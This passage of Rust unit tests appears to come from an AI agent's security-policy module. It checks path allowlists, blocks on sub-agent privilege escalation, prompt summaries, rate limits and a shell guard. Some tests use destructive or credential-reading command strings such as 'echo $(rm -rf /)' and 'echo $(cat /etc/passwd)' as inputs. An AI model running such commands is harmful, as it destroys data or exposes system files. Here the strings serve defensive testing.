4760 fn resolve_tool_path_expands_tilde() {
4761 let p = SecurityPolicy {
4762 workspace_dir: PathBuf::from("/workspace"),
4763 ..SecurityPolicy::default()
4764 };
4765 let resolved = p.resolve_tool_path("~/Documents/file.txt");
4766 assert!(resolved.is_absolute());
4768 assert!(!resolved.starts_with("/workspace"));
4769 assert!(resolved.to_string_lossy().ends_with("Documents/file.txt"));
4770 }
4771
4772 #[test]
4773 fn resolve_tool_path_keeps_absolute() {
4774 let p = SecurityPolicy {
4775 workspace_dir: PathBuf::from("/workspace"),
4776 ..SecurityPolicy::default()
4777 };
4778 let resolved = p.resolve_tool_path("/some/absolute/path");
4779 assert_eq!(resolved, PathBuf::from("/some/absolute/path"));
4780 }
4781
4782 #[test]
4783 fn resolve_tool_path_joins_relative() {
4784 let p = SecurityPolicy {
4785 workspace_dir: PathBuf::from("/workspace"),
4786 ..SecurityPolicy::default()
4787 };
4788 let resolved = p.resolve_tool_path("relative/path.txt");
4789 assert_eq!(resolved, PathBuf::from("/workspace/relative/path.txt"));
4790 }
4791
4792 #[test]
4793 fn resolve_tool_path_normalizes_workspace_prefixed_relative_paths() {
4794 let p = SecurityPolicy {
4795 workspace_dir: PathBuf::from("/zeroclaw-data/workspace"),
4796 ..SecurityPolicy::default()
4797 };
4798 let resolved = p.resolve_tool_path("zeroclaw-data/workspace/scripts/daily.py");
4799 assert_eq!(
4800 resolved,
4801 PathBuf::from("/zeroclaw-data/workspace/scripts/daily.py")
4802 );
4803 }
4804
4805 #[test]
4806 fn is_under_allowed_root_matches_allowed_roots() {
4807 let p = SecurityPolicy {
4808 workspace_dir: tp_ws(),
4809 workspace_only: true,
4810 allowed_roots: vec![tp_proj(), tp_data()],
4811 ..SecurityPolicy::default()
4812 };
4813 assert!(p.is_under_allowed_root(&format!("{}/myapp/src/main.rs", tp_proj().display())));
4814 assert!(p.is_under_allowed_root(&format!("{}/file.csv", tp_data().display())));
4815 assert!(!p.is_under_allowed_root(&tp_sys_sub("etc/passwd")));
4816 assert!(!p.is_under_allowed_root("relative/path"));
4817 }
4818
4819 #[test]
4820 fn is_under_allowed_root_returns_false_for_empty_roots() {
4821 let p = SecurityPolicy {
4822 workspace_dir: tp_ws(),
4823 workspace_only: true,
4824 allowed_roots: vec![],
4825 ..SecurityPolicy::default()
4826 };
4827 assert!(!p.is_under_allowed_root(&format!("{}/any/path", tp_proj().display())));
4828 }
4829
4830 #[test]
4833 fn is_under_read_only_allowed_root_matches_only_read_only_list() {
4834 let p = SecurityPolicy {
4835 workspace_dir: tp_ws(),
4836 workspace_only: true,
4837 allowed_roots: vec![tp_rw()],
4838 allowed_roots_read_only: vec![tp_ro()],
4839 ..SecurityPolicy::default()
4840 };
4841 assert!(p.is_under_read_only_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4842 assert!(!p.is_under_read_only_allowed_root(&format!("{}/file.csv", tp_rw().display())));
4843 assert!(!p.is_under_read_only_allowed_root(&tp_sys_sub("etc/passwd")));
4844 assert!(!p.is_under_read_only_allowed_root("relative"));
4845 }
4846
4847 #[test]
4848 fn is_under_any_allowed_root_unions_read_only_and_read_write() {
4849 let p = SecurityPolicy {
4850 workspace_dir: tp_ws(),
4851 workspace_only: true,
4852 allowed_roots: vec![tp_rw()],
4853 allowed_roots_read_only: vec![tp_ro()],
4854 ..SecurityPolicy::default()
4855 };
4856 assert!(p.is_under_any_allowed_root(&format!("{}/file.csv", tp_rw().display())));
4857 assert!(p.is_under_any_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4858 assert!(!p.is_under_any_allowed_root(&tp_sys_sub("etc/passwd")));
4859 }
4860
4861 #[test]
4862 fn is_under_allowed_root_does_not_see_read_only_entries() {
4863 let p = SecurityPolicy {
4864 workspace_dir: tp_ws(),
4865 workspace_only: true,
4866 allowed_roots: vec![],
4867 allowed_roots_read_only: vec![tp_ro()],
4868 ..SecurityPolicy::default()
4869 };
4870 assert!(!p.is_under_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4871 assert!(p.is_under_any_allowed_root(&format!("{}/notes.md", tp_ro().display())));
4872 }
4873
4874 fn parent_policy_for_escalation_tests() -> SecurityPolicy {
4877 SecurityPolicy {
4878 workspace_dir: PathBuf::from("/workspace"),
4879 workspace_only: true,
4880 allowed_roots: vec![PathBuf::from("/projects"), PathBuf::from("/data")],
4881 allowed_roots_read_only: vec![PathBuf::from("/shared-docs")],
4882 allowed_commands: vec!["git".into(), "cargo".into(), "ls".into()],
4883 max_actions_per_hour: 100,
4884 max_cost_per_day_cents: 500,
4885 ..SecurityPolicy::default()
4886 }
4887 }
4888
4889 #[test]
4890 fn ensure_no_escalation_accepts_identical_policy() {
4891 let parent = parent_policy_for_escalation_tests();
4892 let child = parent.clone();
4893 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
4894 }
4895
4896 #[test]
4897 fn ensure_no_escalation_accepts_narrowed_child() {
4898 let parent = parent_policy_for_escalation_tests();
4899 let child = SecurityPolicy {
4900 allowed_roots: vec![PathBuf::from("/projects")],
4901 allowed_roots_read_only: vec![PathBuf::from("/shared-docs")],
4902 allowed_commands: vec!["git".into()],
4903 max_actions_per_hour: 50,
4904 max_cost_per_day_cents: 250,
4905 ..parent.clone()
4906 };
4907 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
4908 }
4909
4910 #[test]
4911 fn ensure_no_escalation_accepts_rw_root_downgraded_to_read_only_on_child() {
4912 let parent = parent_policy_for_escalation_tests();
4915 let child = SecurityPolicy {
4916 allowed_roots: Vec::new(),
4917 allowed_roots_read_only: vec![PathBuf::from("/projects")],
4918 ..parent.clone()
4919 };
4920 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
4921 }
4922
4923 #[test]
4924 fn ensure_no_escalation_rejects_new_rw_root_not_in_parent() {
4925 let parent = parent_policy_for_escalation_tests();
4926 let child = SecurityPolicy {
4927 allowed_roots: vec![PathBuf::from("/projects"), PathBuf::from("/secrets")],
4928 ..parent.clone()
4929 };
4930 let err = child
4931 .ensure_no_escalation_beyond(&parent)
4932 .expect_err("new rw root must be rejected");
4933 assert!(matches!(
4934 err,
4935 EscalationViolation::ReadWriteRootNotInParent { ref path }
4936 if path == &PathBuf::from("/secrets")
4937 ));
4938 }
4939
4940 #[test]
4941 fn ensure_no_escalation_rejects_new_read_only_root_not_in_parent() {
4942 let parent = parent_policy_for_escalation_tests();
4943 let child = SecurityPolicy {
4944 allowed_roots_read_only: vec![PathBuf::from("/etc")],
4945 ..parent.clone()
4946 };
4947 let err = child
4948 .ensure_no_escalation_beyond(&parent)
4949 .expect_err("new read-only root must be rejected");
4950 assert!(matches!(
4951 err,
4952 EscalationViolation::ReadOnlyRootNotInParent { ref path }
4953 if path == &PathBuf::from("/etc")
4954 ));
4955 }
4956
4957 #[test]
4958 fn ensure_no_escalation_rejects_new_command_not_in_parent() {
4959 let parent = parent_policy_for_escalation_tests();
4960 let child = SecurityPolicy {
4961 allowed_commands: vec!["git".into(), "rm".into()],
4962 ..parent.clone()
4963 };
4964 let err = child
4965 .ensure_no_escalation_beyond(&parent)
4966 .expect_err("new command must be rejected");
4967 assert!(matches!(
4968 err,
4969 EscalationViolation::CommandNotInParent { ref command }
4970 if command == "rm"
4971 ));
4972 }
4973
4974 #[test]
4975 fn ensure_no_escalation_rejects_workspace_only_disabled_by_child() {
4976 let parent = parent_policy_for_escalation_tests();
4977 let child = SecurityPolicy {
4978 workspace_only: false,
4979 ..parent.clone()
4980 };
4981 let err = child
4982 .ensure_no_escalation_beyond(&parent)
4983 .expect_err("disabling workspace_only when parent enforces it must be rejected");
4984 assert_eq!(err, EscalationViolation::WorkspaceOnlyDisabledByChild);
4985 }
4986
4987 #[test]
4988 fn ensure_no_escalation_rejects_higher_max_actions() {
4989 let parent = parent_policy_for_escalation_tests();
4990 let child = SecurityPolicy {
4991 max_actions_per_hour: 200,
4992 ..parent.clone()
4993 };
4994 let err = child
4995 .ensure_no_escalation_beyond(&parent)
4996 .expect_err("higher max_actions_per_hour must be rejected");
4997 assert!(matches!(
4998 err,
4999 EscalationViolation::MaxActionsExceeded { child, parent } if child == 200 && parent == 100
5000 ));
5001 }
5002
5003 #[test]
5004 fn ensure_no_escalation_rejects_higher_max_cost() {
5005 let parent = parent_policy_for_escalation_tests();
5006 let child = SecurityPolicy {
5007 max_cost_per_day_cents: 1000,
5008 ..parent.clone()
5009 };
5010 let err = child
5011 .ensure_no_escalation_beyond(&parent)
5012 .expect_err("higher max_cost_per_day_cents must be rejected");
5013 assert!(matches!(
5014 err,
5015 EscalationViolation::MaxCostExceeded { child, parent } if child == 1000 && parent == 500
5016 ));
5017 }
5018
5019 #[test]
5020 fn ensure_no_escalation_rejects_higher_autonomy() {
5021 let parent = SecurityPolicy {
5022 autonomy: AutonomyLevel::Supervised,
5023 ..parent_policy_for_escalation_tests()
5024 };
5025 let child = SecurityPolicy {
5026 autonomy: AutonomyLevel::Full,
5027 ..parent.clone()
5028 };
5029 let err = child
5030 .ensure_no_escalation_beyond(&parent)
5031 .expect_err("Full child under Supervised parent must be rejected");
5032 assert!(matches!(
5033 err,
5034 EscalationViolation::AutonomyAboveParent { child, parent }
5035 if child == AutonomyLevel::Full && parent == AutonomyLevel::Supervised
5036 ));
5037 }
5038
5039 #[test]
5040 fn ensure_no_escalation_accepts_subpath_narrowing_inside_parent_root() {
5041 let parent = parent_policy_for_escalation_tests();
5044 let child = SecurityPolicy {
5045 allowed_roots: vec![PathBuf::from("/projects/repo")],
5046 allowed_roots_read_only: vec![],
5047 ..parent.clone()
5048 };
5049 assert!(child.ensure_no_escalation_beyond(&parent).is_ok());
5050 }
5051
5052 #[test]
5053 fn ensure_no_escalation_rejects_dropped_forbidden_path() {
5054 let parent = SecurityPolicy {
5055 forbidden_paths: vec!["/etc/secrets".into(), "/root".into()],
5056 ..parent_policy_for_escalation_tests()
5057 };
5058 let child = SecurityPolicy {
5059 forbidden_paths: vec!["/root".into()],
5060 ..parent.clone()
5061 };
5062 let err = child
5063 .ensure_no_escalation_beyond(&parent)
5064 .expect_err("child dropping a parent's forbidden_paths entry must be rejected");
5065 assert!(matches!(
5066 err,
5067 EscalationViolation::ForbiddenPathDroppedByChild { ref path }
5068 if path == "/etc/secrets"
5069 ));
5070 }
5071
5072 #[test]
5073 fn ensure_no_escalation_rejects_expanded_shell_env_passthrough() {
5074 let parent = SecurityPolicy {
5075 shell_env_passthrough: vec!["PATH".into()],
5076 ..parent_policy_for_escalation_tests()
5077 };
5078 let child = SecurityPolicy {
5079 shell_env_passthrough: vec!["PATH".into(), "AWS_SECRET_ACCESS_KEY".into()],
5080 ..parent.clone()
5081 };
5082 let err = child
5083 .ensure_no_escalation_beyond(&parent)
5084 .expect_err("child adding a shell_env_passthrough entry must be rejected");
5085 assert!(matches!(
5086 err,
5087 EscalationViolation::ShellEnvPassthroughExpanded { ref variable }
5088 if variable == "AWS_SECRET_ACCESS_KEY"
5089 ));
5090 }
5091
5092 #[test]
5093 fn ensure_no_escalation_rejects_higher_shell_timeout() {
5094 let parent = SecurityPolicy {
5095 shell_timeout_secs: 30,
5096 ..parent_policy_for_escalation_tests()
5097 };
5098 let child = SecurityPolicy {
5099 shell_timeout_secs: 600,
5100 ..parent.clone()
5101 };
5102 let err = child
5103 .ensure_no_escalation_beyond(&parent)
5104 .expect_err("higher shell_timeout_secs must be rejected");
5105 assert!(matches!(
5106 err,
5107 EscalationViolation::ShellTimeoutExceeded { child, parent }
5108 if child == 600 && parent == 30
5109 ));
5110 }
5111
5112 #[test]
5113 fn ensure_no_escalation_rejects_disabled_block_high_risk_commands() {
5114 let parent = SecurityPolicy {
5115 block_high_risk_commands: true,
5116 ..parent_policy_for_escalation_tests()
5117 };
5118 let child = SecurityPolicy {
5119 block_high_risk_commands: false,
5120 ..parent.clone()
5121 };
5122 let err = child
5123 .ensure_no_escalation_beyond(&parent)
5124 .expect_err("child flipping block_high_risk_commands off must be rejected");
5125 assert_eq!(
5126 err,
5127 EscalationViolation::BlockHighRiskCommandsDisabledByChild
5128 );
5129 }
5130
5131 #[test]
5132 fn ensure_no_escalation_rejects_disabled_require_approval() {
5133 let parent = SecurityPolicy {
5134 require_approval_for_medium_risk: true,
5135 ..parent_policy_for_escalation_tests()
5136 };
5137 let child = SecurityPolicy {
5138 require_approval_for_medium_risk: false,
5139 ..parent.clone()
5140 };
5141 let err = child
5142 .ensure_no_escalation_beyond(&parent)
5143 .expect_err("child flipping require_approval_for_medium_risk off must be rejected");
5144 assert_eq!(err, EscalationViolation::RequireApprovalDisabledByChild);
5145 }
5146
5147 #[test]
5148 fn from_risk_profile_leaves_allowed_roots_read_only_empty() {
5149 let profile = crate::schema::RiskProfileConfig {
5153 allowed_roots: vec!["/projects".to_string()],
5154 ..crate::schema::RiskProfileConfig::default()
5155 };
5156 let policy = SecurityPolicy::from_risk_profile(&profile, Path::new("/workspace"));
5157 assert_eq!(policy.allowed_roots, vec![PathBuf::from("/projects")]);
5158 assert!(
5159 policy.allowed_roots_read_only.is_empty(),
5160 "read-only roots come from workspace.access, not RiskProfileConfig"
5161 );
5162 }
5163
5164 #[test]
5165 fn runtime_config_paths_are_protected() {
5166 let workspace = PathBuf::from("/tmp/zeroclaw-profile/workspace");
5167 let policy = SecurityPolicy {
5168 workspace_dir: workspace.clone(),
5169 ..SecurityPolicy::default()
5170 };
5171 let config_dir = workspace.parent().unwrap();
5172
5173 assert!(policy.is_runtime_config_path(&config_dir.join("config.toml")));
5174 assert!(policy.is_runtime_config_path(&config_dir.join("config.toml.bak")));
5175 assert!(policy.is_runtime_config_path(&config_dir.join(".config.toml.tmp-1234")));
5176 assert!(!policy.is_runtime_config_path(&config_dir.join("active_workspace.toml")));
5180 }
5181
5182 #[test]
5183 fn workspace_files_are_not_runtime_config_paths() {
5184 let workspace = PathBuf::from("/tmp/zeroclaw-profile/workspace");
5185 let policy = SecurityPolicy {
5186 workspace_dir: workspace.clone(),
5187 ..SecurityPolicy::default()
5188 };
5189 let nested_dir = workspace.join("notes");
5190
5191 assert!(!policy.is_runtime_config_path(&workspace.join("notes.txt")));
5192 assert!(!policy.is_runtime_config_path(&nested_dir.join("config.toml")));
5193 }
5194
5195 #[test]
5198 fn prompt_summary_includes_autonomy_level() {
5199 let p = default_policy();
5200 let summary = p.prompt_summary();
5201 assert!(
5202 summary.contains("Supervised"),
5203 "should mention autonomy level"
5204 );
5205 }
5206
5207 #[test]
5208 fn prompt_summary_includes_workspace_boundary_when_workspace_only() {
5209 let p = SecurityPolicy {
5210 workspace_dir: PathBuf::from("/home/user/project"),
5211 workspace_only: true,
5212 ..SecurityPolicy::default()
5213 };
5214 let summary = p.prompt_summary();
5215 assert!(
5216 summary.contains("Workspace boundary"),
5217 "should mention workspace boundary"
5218 );
5219 assert!(
5220 summary.contains("/home/user/project"),
5221 "should mention workspace path"
5222 );
5223 }
5224
5225 #[test]
5226 fn prompt_summary_omits_workspace_boundary_when_not_workspace_only() {
5227 let p = SecurityPolicy {
5228 workspace_only: false,
5229 ..SecurityPolicy::default()
5230 };
5231 let summary = p.prompt_summary();
5232 assert!(
5233 !summary.contains("Workspace boundary"),
5234 "should not mention workspace boundary"
5235 );
5236 }
5237
5238 #[test]
5239 fn prompt_summary_includes_allowed_commands() {
5240 let p = SecurityPolicy {
5241 allowed_commands: vec!["git".into(), "ls".into()],
5242 ..SecurityPolicy::default()
5243 };
5244 let summary = p.prompt_summary();
5245 assert!(summary.contains("`git`"), "should list allowed commands");
5246 assert!(summary.contains("`ls`"), "should list allowed commands");
5247 assert!(
5248 summary.contains("You may execute these commands freely"),
5249 "should mention allowed commands positively"
5250 );
5251 }
5252
5253 #[test]
5254 fn prompt_summary_includes_forbidden_paths() {
5255 let p = SecurityPolicy {
5256 workspace_only: false,
5257 forbidden_paths: vec!["/etc".into(), "~/.ssh".into()],
5258 ..SecurityPolicy::default()
5259 };
5260 let summary = p.prompt_summary();
5261 assert!(summary.contains("`/etc`"), "should list forbidden paths");
5262 assert!(summary.contains("`~/.ssh`"), "should list forbidden paths");
5263 }
5264
5265 #[test]
5266 fn prompt_summary_includes_rate_limit() {
5267 let p = SecurityPolicy {
5268 max_actions_per_hour: 42,
5269 ..SecurityPolicy::default()
5270 };
5271 let summary = p.prompt_summary();
5272 assert!(summary.contains("42"), "should mention rate limit");
5273 assert!(
5274 summary.contains("actions per hour"),
5275 "should explain rate limit"
5276 );
5277 }
5278
5279 #[test]
5280 fn prompt_summary_includes_risk_controls() {
5281 let p = SecurityPolicy {
5282 block_high_risk_commands: true,
5283 require_approval_for_medium_risk: true,
5284 ..SecurityPolicy::default()
5285 };
5286 let summary = p.prompt_summary();
5287 assert!(
5288 summary.contains("Exercise caution with destructive commands"),
5289 "should mention high-risk caution"
5290 );
5291 assert!(
5292 summary.contains("Medium-risk commands"),
5293 "should mention medium-risk approval"
5294 );
5295 }
5296
5297 #[test]
5298 fn prompt_summary_includes_allowed_roots() {
5299 let p = SecurityPolicy {
5300 allowed_roots: vec![PathBuf::from("/shared/data"), PathBuf::from("/opt/tools")],
5301 ..SecurityPolicy::default()
5302 };
5303 let summary = p.prompt_summary();
5304 assert!(
5305 summary.contains("`/shared/data`"),
5306 "should list allowed roots"
5307 );
5308 assert!(
5309 summary.contains("`/opt/tools`"),
5310 "should list allowed roots"
5311 );
5312 }
5313
5314 #[test]
5315 fn wildcard_with_block_high_risk_false_allows_everything() {
5316 let p = SecurityPolicy {
5317 allowed_commands: vec!["*".into()],
5318 block_high_risk_commands: false,
5319 workspace_only: false,
5320 ..SecurityPolicy::default()
5321 };
5322 assert!(
5323 p.validate_command_execution("rm -rf /tmp/test", true)
5324 .is_ok()
5325 );
5326 assert!(p.validate_command_execution("nohup firefox", true).is_ok());
5327 assert!(
5328 p.validate_command_execution("ls /usr/bin/firefox", true)
5329 .is_ok()
5330 );
5331 }
5332
5333 #[test]
5334 fn wildcard_with_block_high_risk_true_still_blocks() {
5335 let p = SecurityPolicy {
5338 autonomy: AutonomyLevel::Supervised,
5339 allowed_commands: vec!["*".into()],
5340 block_high_risk_commands: true,
5341 ..SecurityPolicy::default()
5342 };
5343 let result = p.validate_command_execution("rm -rf /tmp/test", true);
5344 assert!(result.is_err());
5345 assert!(result.unwrap_err().contains("high-risk"));
5346 }
5347
5348 #[test]
5351 fn wildcard_unblocked_allows_backticks() {
5352 let p = SecurityPolicy {
5353 allowed_commands: vec!["*".into()],
5354 block_high_risk_commands: false,
5355 ..SecurityPolicy::default()
5356 };
5357 assert!(p.is_command_allowed("echo `whoami`"));
5358 assert!(p.is_command_allowed("ls `which git`"));
5359 }
5360
5361 #[test]
5362 fn wildcard_unblocked_allows_dollar_paren() {
5363 let p = SecurityPolicy {
5364 allowed_commands: vec!["*".into()],
5365 block_high_risk_commands: false,
5366 ..SecurityPolicy::default()
5367 };
5368 assert!(p.is_command_allowed("echo $(cat /etc/hostname)"));
5369 assert!(p.is_command_allowed("echo $(rm -rf /)"));
5370 }
5371
5372 #[test]
5373 fn wildcard_unblocked_allows_dollar_brace() {
5374 let p = SecurityPolicy {
5375 allowed_commands: vec!["*".into()],
5376 block_high_risk_commands: false,
5377 ..SecurityPolicy::default()
5378 };
5379 assert!(p.is_command_allowed("echo ${HOME}"));
5380 assert!(p.is_command_allowed("echo ${PATH}"));
5381 }
5382
5383 #[test]
5384 fn wildcard_unblocked_allows_process_substitution() {
5385 let p = SecurityPolicy {
5386 allowed_commands: vec!["*".into()],
5387 block_high_risk_commands: false,
5388 ..SecurityPolicy::default()
5389 };
5390 assert!(p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5391 assert!(p.is_command_allowed("tee >(grep error > errors.log)"));
5392 }
5393
5394 #[test]
5395 fn wildcard_unblocked_allows_pipes_and_chains() {
5396 let p = SecurityPolicy {
5397 allowed_commands: vec!["*".into()],
5398 block_high_risk_commands: false,
5399 ..SecurityPolicy::default()
5400 };
5401 assert!(p.is_command_allowed("ps aux | grep python | wc -l"));
5402 assert!(p.is_command_allowed("echo hello && echo world"));
5403 }
5404
5405 #[test]
5406 fn wildcard_blocked_still_runs_shell_guard() {
5407 let p = SecurityPolicy {
5410 allowed_commands: vec!["*".into()],
5411 block_high_risk_commands: true,
5412 ..SecurityPolicy::default()
5413 };
5414 assert!(!p.is_command_allowed("echo `whoami`"));
5415 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
5416 assert!(!p.is_command_allowed("echo ${HOME}"));
5417 assert!(!p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5418 }
5419
5420 #[test]
5421 fn specific_allowlist_still_runs_shell_guard() {
5422 let p = SecurityPolicy {
5425 allowed_commands: vec!["echo".into(), "ls".into(), "diff".into()],
5426 block_high_risk_commands: false,
5427 ..SecurityPolicy::default()
5428 };
5429 assert!(!p.is_command_allowed("echo `whoami`"));
5430 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
5431 assert!(!p.is_command_allowed("echo ${HOME}"));
5432 assert!(!p.is_command_allowed("diff <(ls dir1) <(ls dir2)"));
5433 }
5434
5435 #[test]
5436 fn specific_allowlist_with_block_true_still_runs_shell_guard() {
5437 let p = SecurityPolicy {
5438 allowed_commands: vec!["echo".into(), "ls".into()],
5439 block_high_risk_commands: true,
5440 ..SecurityPolicy::default()
5441 };
5442 assert!(!p.is_command_allowed("echo `whoami`"));
5443 assert!(!p.is_command_allowed("echo $(rm -rf /)"));
5444 assert!(!p.is_command_allowed("echo ${HOME}"));
5445 }
5446
5447 #[test]
5448 fn wildcard_unblocked_readonly_still_blocked() {
5449 let p = SecurityPolicy {
5451 autonomy: AutonomyLevel::ReadOnly,
5452 allowed_commands: vec!["*".into()],
5453 block_high_risk_commands: false,
5454 ..SecurityPolicy::default()
5455 };
5456 assert!(!p.is_command_allowed("ls"));
5457 assert!(!p.is_command_allowed("echo `whoami`"));
5458 }
5459
5460 #[test]
5461 fn per_sender_tracker_isolates_counts() {
5462 let t = PerSenderTracker::new();
5463 assert!(t.record_within("chat_a", 2)); assert!(t.record_within("chat_a", 2)); assert!(!t.record_within("chat_a", 2)); assert!(t.record_within("chat_b", 2)); assert!(t.record_within("chat_b", 2)); assert!(!t.record_within("chat_b", 2)); }
5472
5473 #[test]
5474 fn per_sender_tracker_global_key_fallback() {
5475 let t = PerSenderTracker::new();
5476 assert!(!t.is_exhausted(PerSenderTracker::GLOBAL_KEY, 1));
5477 t.record_within(PerSenderTracker::GLOBAL_KEY, u32::MAX);
5478 assert!(t.is_exhausted(PerSenderTracker::GLOBAL_KEY, 1));
5480 }
5481
5482 #[test]
5483 fn per_sender_tracker_is_exhausted_reads_without_spurious_insert() {
5484 let t = PerSenderTracker::new();
5485 assert!(!t.is_exhausted("ghost", 1));
5487 }
5488}